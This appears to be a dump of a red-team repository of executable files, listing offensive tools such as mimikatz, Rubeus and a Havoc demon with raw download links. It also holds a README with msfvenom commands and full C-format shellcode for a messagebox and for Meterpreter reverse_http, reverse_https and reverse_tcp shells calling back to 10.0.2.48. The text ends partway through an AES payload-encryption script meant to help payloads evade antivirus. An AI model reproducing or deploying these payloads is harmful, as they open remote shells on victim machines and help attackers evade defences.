├── CertStealer-v4 - Copy.oops ├── CertStealer.zip ├── DefenderCheck.exe ├── DefenderCheck.zip ├── ForgeCert.OOps ├── ForgeCert.exe ├── Hades.exe ├── Invoke-Mimikatz.ps1 ├── MsBuild.exe ├── OneDrive.Update ├── README.md ├── Release.ok ├── Rubeus.exe ├── Rust-Hound-bin.zip ├── SOAP-Hound-bin.zip ├── SafetyKatz.exe ├── badger_x64_stealth_rtl.bin ├── binaries ├── Excluding_badChars │ ├── README.md │ ├── messagebox.exe │ ├── win_rev_http.exe │ ├── win_rev_https.exe │ └── win_rev_tcp.exe └── Simplecppbinary.exe ├── decryptaaaa.dll ├── demon.bin ├── demon_Zilean.exe ├── dotNETbinaries ├── AES_encrypted │ ├── README.md │ ├── aesencrypt.py │ └── mssgbox_shellcode_x64.bin ├── HelloReflectionWorld.exe ├── README.md ├── RegistryTinker.cs ├── RegistryTinker.exe ├── Rubeus.exe ├── XOR_b64_encrypted │ ├── covenant.txt │ ├── covenant2.txt │ ├── havoc.txt │ ├── mssg_shellcode_exitfunc_thread_x64.txt │ ├── mssg_shellcode_x64.txt │ ├── mssgbox_RTO.bin │ ├── mssgbox_RTO.txt │ ├── mssgbox_shellcode_exitfunc_thread_x64.bin │ ├── mssgbox_shellcode_x64.bin │ ├── rev_kali_192_168_0_110_1234.txt │ ├── rev_kali_192_168_0_110_1234_https.txt │ └── rev_shell.txt ├── XOR_encrypted │ ├── README.md │ ├── mssgbox_shellcode_x64.bin │ └── xorencrypt.py ├── b64_encoding │ ├── README.md │ ├── mssgbox_shellcode_arranged_x64.b64 │ ├── mssgbox_shellcode_x64.b64 │ └── mssgbox_shellcode_x64.bin ├── badger_x64_stealth_rtl.txt ├── checkprocess.cs ├── checkprocess.exe ├── cpp_test_payload.exe ├── exfiltrate.exe ├── exfiltrate_via_post.exe ├── mscorlib.exe ├── mssgbox_csharp_shellcode_x64.txt ├── mssgbox_csharp_shellcode_x86.txt ├── mssgbox_shellcode_x64_with_hexsymbol.txt ├── mssgbox_shellcode_x64_without_hexsymbol.txt ├── nointeract.cs └── nointeract.exe ├── https_revshell.exe ├── kekeo.exe ├── merlinAgent-Linux-x64 ├── mimikatz.exe ├── nasm.exe ├── shellcode.h ├── test.txt └── xxd.exe /CertStealer-v4 - Copy.oops: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/CertStealer-v4 - Copy.oops -------------------------------------------------------------------------------- /CertStealer.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/CertStealer.zip -------------------------------------------------------------------------------- /DefenderCheck.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/DefenderCheck.exe -------------------------------------------------------------------------------- /DefenderCheck.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/DefenderCheck.zip -------------------------------------------------------------------------------- /ForgeCert.OOps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/ForgeCert.OOps -------------------------------------------------------------------------------- /ForgeCert.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/ForgeCert.exe -------------------------------------------------------------------------------- /Hades.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/Hades.exe -------------------------------------------------------------------------------- /MsBuild.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/MsBuild.exe -------------------------------------------------------------------------------- /OneDrive.Update: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/OneDrive.Update -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Executable Files 2 | Executable file dumps 3 | -------------------------------------------------------------------------------- /Release.ok: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/Release.ok -------------------------------------------------------------------------------- /Rubeus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/Rubeus.exe -------------------------------------------------------------------------------- /Rust-Hound-bin.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/Rust-Hound-bin.zip -------------------------------------------------------------------------------- /SOAP-Hound-bin.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/SOAP-Hound-bin.zip -------------------------------------------------------------------------------- /SafetyKatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/SafetyKatz.exe -------------------------------------------------------------------------------- /badger_x64_stealth_rtl.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/badger_x64_stealth_rtl.bin -------------------------------------------------------------------------------- /binaries/Excluding_badChars/README.md: -------------------------------------------------------------------------------- 1 | 2 | Bad Char: `"\x00\x0a\x0d"` according to [ired](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection) 3 | 4 | 1. messagebox.exe 5 | > msfvenom -p windows/messagebox -f exe -b "\x00\x0a\x0d" -o messagebox.exe 6 | 7 | ``` 8 | $ msfvenom -p windows/messagebox -f c -b "\x00\x0a\x0d" 9 | 10 | [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 11 | [-] No arch selected, selecting arch: x86 from the payload 12 | Found 11 compatible encoders 13 | Attempting to encode payload with 1 iterations of x86/shikata_ga_nai 14 | x86/shikata_ga_nai succeeded with size 299 (iteration=0) 15 | x86/shikata_ga_nai chosen with final size 299 16 | Payload size: 299 bytes 17 | Final size of c file: 1280 bytes 18 | unsigned char buf[] = 19 | "\xda\xcd\xbe\x63\xa2\x2f\x98\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1" 20 | "\x45\x31\x75\x17\x83\xed\xfc\x03\x16\xb1\xcd\x6d\x01\x5e\x8a" 21 | "\x57\xc5\x85\x59\x56\xf7\x74\xd6\xa8\x3e\x1c\x92\xba\xf0\x56" 22 | "\xd2\x30\x7b\x1e\x07\xc2\x3d\xd7\xbc\xaa\xe1\x6c\xf4\x6a\xae" 23 | "\x6a\x8c\x79\x69\x8a\xbf\x81\x68\xec\xb4\x12\x4e\xc9\x41\xaf" 24 | "\xb2\x9a\x02\x18\xb2\x9d\x40\xd3\x08\x86\x1f\xbe\xac\xb7\xf4" 25 | "\xdc\x98\xfe\x81\x17\x6b\x01\x78\x66\x94\x33\x44\x75\xc6\xb0" 26 | "\x84\xf2\x11\x78\xcb\xf6\x1c\xbd\x3f\xfc\x25\x3d\xe4\xd5\x2c" 27 | "\x5c\x6f\x7f\xea\x9f\x9b\xe6\x79\x93\x10\x6c\x27\xb0\xa7\x99" 28 | "\x5c\xcc\x2c\x5c\x8a\x44\x76\x7b\x56\x36\xb4\x31\x6e\x91\xee" 29 | "\xbf\x8b\x68\xcc\xa8\xdd\x25\xdf\xc4\xb3\x51\x40\xeb\xcc\x5d" 30 | "\xf6\x51\x36\x19\x77\x82\xd4\x2e\x0f\x2e\x3c\x83\xe7\xc1\xc3" 31 | "\xdc\x07\x54\x7e\x2b\x90\x0b\xec\x0b\x21\xbc\xdf\x79\x8f\x58" 32 | "\x77\x0b\xbc\xc5\xf5\xc3\x99\x8e\xa5\x07\x14\x06\xb3\x1e\xd7" 33 | "\x4d\x3f\x16\xe5\x3e\x84\x80\x48\xf3\x46\x57\x90\x28\xe4\xb0" 34 | "\xf6\xcf\xf7\xbe\x61\x5f\x7f\x19\x52\xf7\x1e\xfe\xf7\x45\x88" 35 | "\x4d\x9d\x3a\x3b\x7f\x86\x35\xe7\x5b\x32\xcf\xf4\xcc\x1a\xef" 36 | "\xda\x2c\xf3\xa2\x49\x6b\x22\x55\x1f\x1c\x49\x85\xb7\x8d\xbd" 37 | "\xe5\x21\x3a\xf6\x80\xc1\xd6\x37\x82\x91\x6b\x1c\x04\x28\x92" 38 | "\x6d\xf6\x78\x06\xdf\xa4\x83\x78\xee\x88\x2b\x86\x44\x01"; 39 | ``` 40 | 2. win_rev_http.exe 41 | > msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.0.2.48 LPORT=80 -f exe -b "\x00\x0a\x0d" -o win_rev_http.exe 42 | 43 | ``` 44 | $ msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.0.2.48 LPORT=80 -f c -b "\x00\x0a\x0d" 45 | 46 | [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 47 | [-] No arch selected, selecting arch: x64 from the payload 48 | Found 3 compatible encoders 49 | Attempting to encode payload with 1 iterations of generic/none 50 | generic/none failed with Encoding failed due to a bad character (index=7, char=0x00) 51 | Attempting to encode payload with 1 iterations of x64/xor 52 | x64/xor succeeded with size 775 (iteration=0) 53 | x64/xor chosen with final size 775 54 | Payload size: 775 bytes 55 | Final size of c file: 3280 bytes 56 | unsigned char buf[] = 57 | "\x48\x31\xc9\x48\x81\xe9\xa4\xff\xff\xff\x48\x8d\x05\xef\xff" 58 | "\xff\xff\x48\xbb\x8e\xa8\xb1\x7d\x16\xa8\x80\xd0\x48\x31\x58" 59 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x72\xe0\x32\x99\xe6\x40" 60 | "\x4c\xd0\x8e\xa8\xf0\x2c\x57\xf8\xd2\x98\xbf\x7a\xe0\x2b\x73" 61 | "\xe0\x0b\x82\xee\xe0\x3a\x2f\x0e\xe0\x0b\x82\xae\xe0\xbe\xca" 62 | "\x5c\xe2\xcd\xe1\x47\xe0\x3a\x0f\x46\xe0\xb1\x10\x22\x94\xd0" 63 | "\x01\x14\x84\xa0\x91\x4f\x61\xbc\x3c\x17\x69\x62\x3d\xdc\xe0" 64 | "\x3a\x2f\x36\x23\xc2\xec\xc6\xa9\x61\x1b\x97\xd0\x98\xdb\x8c" 65 | "\xe9\xe0\x72\x93\xda\x80\xd0\x8e\x23\x31\xf5\x16\xa8\x80\x98" 66 | "\x0b\x68\xc5\x1a\x5e\xa9\x50\x94\x05\xe8\x91\x34\x17\x78\x0b" 67 | "\x98\x96\xf8\x52\x2b\x5e\x57\x49\x9d\xbf\x61\xf0\xf6\x22\x20" 68 | "\xc8\xd1\x58\xe0\x80\xbd\xba\xe9\x41\x19\x83\xe9\xb0\xbc\x2e" 69 | "\x48\xf5\x21\xc2\xab\xfd\x59\x1e\xed\xb9\x01\xfb\x70\xe9\x39" 70 | "\x9d\xe8\xa4\x99\x8f\x78\xd7\x3c\x9d\xa4\xc8\x94\x05\xe8\xad" 71 | "\x34\x17\x78\xc1\x5b\x8a\x20\xf0\x25\x5e\xa9\x50\x91\xd6\xf6" 72 | "\xe8\x27\x57\xf0\xc1\x89\xcf\xf2\xf9\xfe\xfa\x88\xc1\x82\x71" 73 | "\x48\xe9\x3c\x4f\xf2\xc8\x5b\x9c\x41\xfa\x82\xe9\x57\xdd\x98" 74 | "\xbf\x73\xe2\x34\xa8\xdf\xe9\xbe\xe7\xc6\xd4\x09\x16\xe9\xd6" 75 | "\x98\x07\x49\xf8\xba\xd4\xe4\xf7\xf6\x89\x57\x64\x2e\x45\xe0" 76 | "\x09\x31\xdd\xf2\xfc\x4c\xd6\xe5\xb1\x19\xdd\xfb\xf8\xc7\x2c" 77 | "\xfe\xf9\x77\x8e\xa8\xb1\x7d\xe9\x7d\x68\xda\x8e\xa8\xb1\x4c" 78 | "\x26\x86\xb0\xfe\xbc\x86\x85\x45\x16\xf2\xc8\x59\x4f\xe1\x76" 79 | "\xbd\x46\xa8\x80\xd0\xc3\x99\x78\x2e\x45\xc2\x83\x83\xc7\x12" 80 | "\xe6\xf4\x89\x6e\x80\xd0\x8e\xa8\x4e\xa8\xfe\x73\x80\xd0\x8e" 81 | "\x87\xd8\x4f\x49\xee\xe7\x82\xfb\xdd\xd2\x07\x79\xf9\xe5\x92" 82 | "\xc8\x9e\xd2\x1e\x3b\xe9\xcc\x91\xdc\xe3\xc0\x48\x5a\xc7\xd0" 83 | "\x97\xf8\xe9\xc0\x19\x20\xcb\xe6\xbe\xbf\xcc\xc2\x10\x78\xd2" 84 | "\xef\xe8\xc5\xe4\xd0\x11\x52\xe0\xd2\xe6\xf7\xec\x80\x25\x4e" 85 | "\xc6\xb7\x95\xec\xe7\xdb\x39\x5b\xdb\xc1\xbc\xfa\xc3\xee\x39" 86 | "\x45\xf9\xb4\x89\xbb\xc5\xc8\x38\x62\xf7\xee\xe5\xbf\xcc\x88" 87 | "\x2d\x21\xcc\xb4\x82\xeb\xed\xe9\x2f\x77\xef\xb7\xfd\xb7\x9f" 88 | "\xff\x44\x45\xeb\xd1\x82\xcb\xc4\xfc\x48\x5e\xf9\xd3\x91\xcc" 89 | "\xe6\xeb\x1f\x78\xf8\xd0\xa6\xcd\xe6\x9c\x1c\x54\xef\xd7\xe8" 90 | "\xc4\xe3\xf3\x2f\x43\xef\xd1\xba\xff\xf7\xfd\x1a\x59\xeb\xc9" 91 | "\x9e\xb9\x9c\x82\x25\x5c\xfe\xcc\x9a\xbf\xe2\x84\x18\x5d\xfa" 92 | "\xd2\x89\xcc\x9b\xc0\x38\x55\x9f\xee\xe7\xda\xf0\x81\x2c\x5f" 93 | "\xce\xb3\x88\xb9\xf2\x88\x32\x20\x90\xcb\xe9\xdb\xe1\xc9\x29" 94 | "\x6f\x90\xb6\xb1\xc0\xdc\xf3\x39\x24\xe7\xb3\x9d\xbf\x9d\xdd" 95 | "\x16\x7f\x99\xd3\x86\xfe\xee\x88\x7d\x5e\x21\x41\x83\xd4\xe9" 96 | "\xe9\x30\x27\x61\xd3\x98\x36\xa8\xb3\x55\x92\xa8\x80\xd0\x8e" 97 | "\xf8\xe2\x2e\x5f\x6f\x42\x3b\xdb\x86\x8a\x82\xc3\xe0\x09\x16" 98 | "\xe4\xa2\xee\x2e\x4c\xe0\x09\x21\xc3\x99\x78\x30\x27\x61\xd3" 99 | "\x83\xc7\x6f\x73\x50\x10\xb0\xfb\x2f\x5b\x2d\x71\x08\x09\xe0" 100 | "\x47\x11\x06\xbb\xb1\x7d\x5f\x12\xc4\x20\xbb\x48\xb1\x7d\x16" 101 | "\xa8\x7f\x05\xc6\x57\x7e\x09\x14\x43\x4c\x38\xdb\xa8\xb1\x7d" 102 | "\x45\xf1\xea\x90\xd4\xe1\x38\xac\xd7\x4a\x90\x99\x49\x68\xb1" 103 | "\x6d\x16\xa8\xc9\x6a\xd6\x0c\xe2\x98\x16\xa8\x80\xd0\x71\x7d" 104 | "\xf9\xee\x45\xfb\xc8\x59\x69\xe0\x38\x8c\x5e\x21\x5a\x99\x49" 105 | "\x68\xb1\x5d\x16\xa8\xc9\x59\x77\xe1\x0b\x6f\x80\x21\x62\xd0" 106 | "\x8e\xa8\xb1\x82\xc3\xe0\x03\x14\xae\x2d\x71\x09\xa4\xce\x0b" 107 | "\xd7\xc6\xa9\x72\xf8\xd6\xdd\x52\x88\x4d\xf0\xdb\x7d\x4f\xe1" 108 | "\x47\x12\x7e\x1d\x13\x2b\xe9\x7d\x80\xd0"; 109 | ``` 110 | 3. win_rev_https.exe 111 | > msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.2.48 LPORT=443 -f exe -b "\x00\x0a\x0d" -o win_rev_https.exe 112 | 113 | ``` 114 | $ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.2.48 LPORT=443 -f c -b "\x00\x0a\x0d" 115 | 116 | [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 117 | [-] No arch selected, selecting arch: x64 from the payload 118 | Found 3 compatible encoders 119 | Attempting to encode payload with 1 iterations of generic/none 120 | generic/none failed with Encoding failed due to a bad character (index=7, char=0x00) 121 | Attempting to encode payload with 1 iterations of x64/xor 122 | x64/xor succeeded with size 679 (iteration=0) 123 | x64/xor chosen with final size 679 124 | Payload size: 679 bytes 125 | Final size of c file: 2878 bytes 126 | unsigned char buf[] = 127 | "\x48\x31\xc9\x48\x81\xe9\xb0\xff\xff\xff\x48\x8d\x05\xef\xff" 128 | "\xff\xff\x48\xbb\x1b\x99\x1a\xd3\x71\xfa\x14\x9e\x48\x31\x58" 129 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe7\xd1\x99\x37\x81\x12" 130 | "\xd8\x9e\x1b\x99\x5b\x82\x30\xaa\x46\xd6\x2a\x4b\x7f\x9b\xfa" 131 | "\xa8\x74\xcf\x53\x12\x48\xcb\x39\x71\x46\xbe\x4d\xd1\x15\x64" 132 | "\x3b\xb0\x5c\x15\x69\xc9\x57\xe2\xb8\xb2\x25\x5e\xb7\xa5\x7b" 133 | "\xaf\x73\xd6\x34\xdf\xda\x50\x17\x92\x70\x3b\xf6\x73\x49\xd1" 134 | "\x91\x81\x51\x71\x56\xa2\x5a\xc8\x52\xd2\xa1\x9c\x95\xe6\x03" 135 | "\x92\x18\xdc\xf4\x88\x14\x9e\x1b\x12\x9a\x5b\x71\xfa\x14\xd6" 136 | "\x9e\x59\x6e\xb4\x39\xfb\xc4\xce\x90\xd1\x02\x97\xfa\xba\x34" 137 | "\xd7\x1a\x49\xf9\x85\x39\x05\xdd\xd3\x2a\x50\x5b\x58\x45\x72" 138 | "\x5c\x9f\xcd\xd1\x2b\x13\x30\x3b\xdd\x93\xb7\xd8\x1b\x12\x49" 139 | "\x1a\x61\x6f\x57\x9a\x56\xf7\x79\xbf\x2d\x4f\x6e\x41\x42\x97" 140 | "\xfa\xba\x30\xd7\x1a\x49\x7c\x92\xfa\xf6\x5c\xda\x90\xd9\x06" 141 | "\x9a\x70\x2a\x55\x15\x1f\x11\x52\xd2\xa1\xbb\x4c\xdf\x43\xc7" 142 | "\x43\x89\x30\xa2\x55\xc7\x5a\xc3\x52\x50\x9d\xda\x55\xcc\xe4" 143 | "\x79\x42\x92\x28\xa0\x5c\x15\x09\x70\x51\x2c\x8e\x05\x49\xd6" 144 | "\x2a\x42\x49\x9a\xcf\x8d\x7d\xf0\x72\xf7\x7f\xa7\x71\xbb\x42" 145 | "\xd6\x92\x78\x53\x14\xb3\xb6\x63\xb8\x1c\x66\xcf\x80\x22\xb2" 146 | "\x9d\x7f\x48\xc3\x57\xe2\xb1\xb7\x25\x57\x48\xca\x53\x69\x4b" 147 | "\xac\x6d\x39\x1b\x99\x1a\xd3\x8e\x2f\xfc\x94\x1b\x99\x1a\xe2" 148 | "\x41\xd4\x24\xb0\x29\xb7\x2e\xeb\x71\xa0\x5c\x17\xda\xd0\xdd" 149 | "\x13\xca\xfb\x14\x9e\x56\xa8\xd3\x80\x22\x90\x17\xcd\x52\x23" 150 | "\x4d\x5a\xee\x3c\x14\x9e\x1b\x99\xe5\x06\x99\xa3\x14\x9e\x1b" 151 | "\xb6\x6e\x82\x44\x90\x62\xad\x4c\xdc\x72\x87\x14\x82\x43\xec" 152 | "\x59\xc0\x2a\x9c\x41\x9d\x61\xe9\x43\xe9\x5d\xea\x3c\xb3\x27" 153 | "\xc9\x6e\xe8\x28\x84\x46\x9b\x58\xd1\x28\xdd\x72\x90\x3e\xab" 154 | "\x58\xd9\x2f\xc9\x5c\xbd\x16\x83\x27\xaa\x5a\xac\x6b\xb6\x1d" 155 | "\xaf\x76\xec\x43\xfe\x60\x84\x22\x95\x23\xab\x41\xec\x51\xbd" 156 | "\x2e\xbb\x59\xa7\x57\xed\x75\xa3\x12\xad\x45\xed\x77\x99\x52" 157 | "\x5a\xb0\xa9\x4e\xdf\x43\xd4\x2b\x1a\x22\xb2\xac\x9e\x29\x31" 158 | "\x9e\xd3\x71\xfa\x14\xce\x48\xca\x53\x14\xb3\x11\x41\xb0\x20" 159 | "\x66\xcf\x9b\xf8\x3c\x7e\x94\x44\xd1\x93\x22\x1b\xe5\x4e\xcc" 160 | "\x73\x19\x29\xd3\x71\xb3\x9d\x7e\x71\x9d\x5b\x8a\x38\x40\x61" 161 | "\xd8\x85\x1f\x1a\xd3\x71\xfa\xeb\x4b\x56\xa8\xda\x80\x2b\xb2" 162 | "\x9d\x6f\x56\xa8\xd3\x9e\x40\x33\x47\xcd\x52\x5e\xd8\xfe\x77" 163 | "\xe2\x6f\x61\xce\x1c\xda\xa6\x6e\xb2\xd3\x5f\x93\x8a\x1a\xd3" 164 | "\x38\x40\x50\x6e\x2e\x79\x1a\xd3\x71\xfa\xeb\x4b\x53\x66\xd5" 165 | "\xa7\x73\x11\xbe\x76\x4e\x99\x1a\xd3\x22\xa3\x7e\xde\x41\xd0" 166 | "\x93\x02\xb0\x18\x04\xd7\xdc\x59\x1a\xc3\x71\xfa\x5d\x24\x43" 167 | "\x3d\x49\x36\x71\xfa\x14\x9e\xe4\x4c\x52\x40\x22\xa9\x5c\x17" 168 | "\xfc\xd1\x93\x22\x39\x73\xce\xd7\xdc\x59\x1a\xf3\x71\xfa\x5d" 169 | "\x17\xe2\xd0\xa0\xc1\xe7\x73\xf6\x9e\x1b\x99\x1a\x2c\xa4\xb2" 170 | "\x97\x5a\x3b\x1c\xda\xa7\xc3\x9c\x9f\x99\x53\x98\xd9\x56\xb1" 171 | "\x8f\xc6\xc6\xd8\xc1\x70\xd3\x28\xb3\xd3\x5c\xeb\x2c\xb8\x85" 172 | "\x8e\x2f\x14\x9e"; 173 | ``` 174 | 4. win_rev_tcp.exe 175 | > msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.48 LPORT=1234 -f exe -b "\x00\x0a\x0d" -o win_rev_tcp.exe 176 | 177 | ``` 178 | $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.48 LPORT=1234 -f c -b "\x00\x0a\x0d" 179 | 180 | [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 181 | [-] No arch selected, selecting arch: x64 from the payload 182 | Found 3 compatible encoders 183 | Attempting to encode payload with 1 iterations of generic/none 184 | generic/none failed with Encoding failed due to a bad character (index=7, char=0x00) 185 | Attempting to encode payload with 1 iterations of x64/xor 186 | x64/xor succeeded with size 551 (iteration=0) 187 | x64/xor chosen with final size 551 188 | Payload size: 551 bytes 189 | Final size of c file: 2339 bytes 190 | unsigned char buf[] = 191 | "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff" 192 | "\xff\xff\x48\xbb\x80\x69\x30\xdb\xf3\x7e\x70\x04\x48\x31\x58" 193 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x7c\x21\xb3\x3f\x03\x96" 194 | "\xbc\x04\x80\x69\x71\x8a\xb2\x2e\x22\x55\xd6\x21\x01\x09\x96" 195 | "\x36\xfb\x56\xe0\x21\xbb\x89\xeb\x36\xfb\x56\xa0\x21\x3f\x6c" 196 | "\xb9\x34\x38\x8f\xf2\x39\x7d\xea\x3a\x36\x41\xc4\x2c\x55\x51" 197 | "\xa7\xf1\x52\x50\x45\x41\xa0\x3d\x9a\xf2\xbf\x92\xe9\xd2\x28" 198 | "\x61\x93\x78\x2c\x50\x8f\xc2\x55\x78\xda\x23\x18\xf1\x7c\x98" 199 | "\x62\x32\xd4\x76\x0c\x70\x04\x80\xe2\xb0\x53\xf3\x7e\x70\x4c" 200 | "\x05\xa9\x44\xbc\xbb\x7f\xa0\x8f\xc8\x71\x60\x9f\x78\x3e\x50" 201 | "\x4d\x81\xb9\xd3\x8d\xbe\x4f\xb9\x4c\x7f\xa0\x71\x50\xc7\xf6" 202 | "\x38\x05\x56\x21\x01\x1b\x5f\x3f\xb1\xcd\x8d\x28\x31\x1a\xcb" 203 | "\x9e\x05\xf5\xcc\x6a\x7c\xff\xfb\x3b\x49\xd5\xf5\xb1\x68\x9f" 204 | "\x78\x3e\x54\x4d\x81\xb9\x56\x9a\x78\x72\x38\x40\x0b\x29\x2c" 205 | "\x92\xf2\xae\x31\x8f\x84\xe1\x78\xda\x23\x3f\x28\x45\xd8\x37" 206 | "\x69\x81\xb2\x26\x31\x5d\xc1\x33\x78\x58\x1f\x5e\x31\x56\x7f" 207 | "\x89\x68\x9a\xaa\x24\x38\x8f\x92\x80\x7b\x24\x0c\x81\x2d\x4d" 208 | "\x3e\x1e\x43\xe9\xac\x4d\x42\x04\x80\x28\x66\x92\x7a\x98\x38" 209 | "\x85\x6c\xc9\x31\xdb\xf3\x37\xf9\xe1\xc9\xd5\x32\xdb\xf7\xac" 210 | "\x7a\x04\x82\x59\x71\x8f\xba\xf7\x94\x48\x09\x98\x71\x61\xbf" 211 | "\x09\x56\x03\x7f\xbc\x7c\x52\x19\x16\x71\x05\x80\x69\x69\x9a" 212 | "\x49\x57\xf0\x6f\x80\x96\xe5\xb1\xf9\x3f\x2e\x54\xd0\x24\x01" 213 | "\x12\xbe\x4f\xb0\x4c\x7f\xa9\x78\x52\x31\x36\x8f\xc4\xc8\xe0" 214 | "\xf1\x9a\x49\x94\x7f\xdb\x60\x96\xe5\x93\x7a\xb9\x1a\x14\xc1" 215 | "\x31\x7c\x52\x11\x36\xf9\xfd\xc1\xd3\xa9\x7e\x87\x1f\x8f\xd1" 216 | "\x05\xa9\x44\xd1\xba\x81\xbe\x71\x65\x81\xa3\xdb\xf3\x7e\x38" 217 | "\x87\x6c\x79\x78\x52\x11\x33\x41\xcd\xea\x6d\x71\x83\xbb\xf7" 218 | "\x89\x45\x3a\x6b\xe9\x13\xac\x81\xa5\x87\x78\x69\x4e\x8e\xbb" 219 | "\xfd\xb4\x24\xde\xe0\xc6\xb1\xb3\x3f\x29\x6c\x80\x79\x30\xdb" 220 | "\xb2\x26\x38\x8d\x72\x21\x01\x12\xb2\xc4\x28\xa0\xd3\x8c\xcf" 221 | "\x0e\xbb\xf7\xb3\x4d\x09\xae\x7d\xea\x3a\x37\xf9\xf4\xc8\xe0" 222 | "\xea\x93\x7a\x87\x31\xbe\x82\xb0\xf8\x84\x0c\xab\xf3\xfc\x80" 223 | "\x14\x18\x83\xb2\x29\x29\x6c\x80\x29\x30\xdb\xb2\x26\x1a\x04" 224 | "\xda\x28\x8a\xd0\xdc\x71\x40\xfb\x55\x3e\x69\x9a\x49\x0b\x1e" 225 | "\x49\xe1\x96\xe5\x92\x0c\xb0\x99\x38\x7f\x96\xcf\x93\xf2\xbd" 226 | "\x38\x2d\x46\x21\xb5\x2d\x86\xca\x31\xfb\x67\x31\x5a\xdb\xaa" 227 | "\x37\xb7\xc6\x70\xdc\x92\x8d\x0c\xab\x70\x04"; 228 | ``` 229 | -------------------------------------------------------------------------------- /binaries/Excluding_badChars/messagebox.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/binaries/Excluding_badChars/messagebox.exe -------------------------------------------------------------------------------- /binaries/Excluding_badChars/win_rev_http.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/binaries/Excluding_badChars/win_rev_http.exe -------------------------------------------------------------------------------- /binaries/Excluding_badChars/win_rev_https.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/binaries/Excluding_badChars/win_rev_https.exe -------------------------------------------------------------------------------- /binaries/Excluding_badChars/win_rev_tcp.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/binaries/Excluding_badChars/win_rev_tcp.exe -------------------------------------------------------------------------------- /binaries/Simplecppbinary.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/binaries/Simplecppbinary.exe -------------------------------------------------------------------------------- /decryptaaaa.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/decryptaaaa.dll -------------------------------------------------------------------------------- /demon.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/demon.bin -------------------------------------------------------------------------------- /demon_Zilean.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/demon_Zilean.exe -------------------------------------------------------------------------------- /dotNETbinaries/AES_encrypted/README.md: -------------------------------------------------------------------------------- 1 | cmd> python2.exe .\aesencrypt.py .\mssgbox_shellcode_x64.bin 2 | 3 | -------------------------------------------------------------------------------- /dotNETbinaries/AES_encrypted/aesencrypt.py: -------------------------------------------------------------------------------- 1 | # Red Team Operator course code template 2 | # payload encryption with AES 3 | # 4 | # author: reenz0h (twitter: @sektor7net) 5 | # Use: python2.exe .\aesencrypt.py .\mssgbox_shellcode_x64.bin 6 | 7 | import sys 8 | from Crypto.Cipher import AES 9 | from os import urandom 10 | import hashlib 11 | 12 | KEY = urandom(16) 13 | 14 | def pad(s): 15 | return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size) 16 | 17 | def aesenc(plaintext, key): 18 | 19 | k = 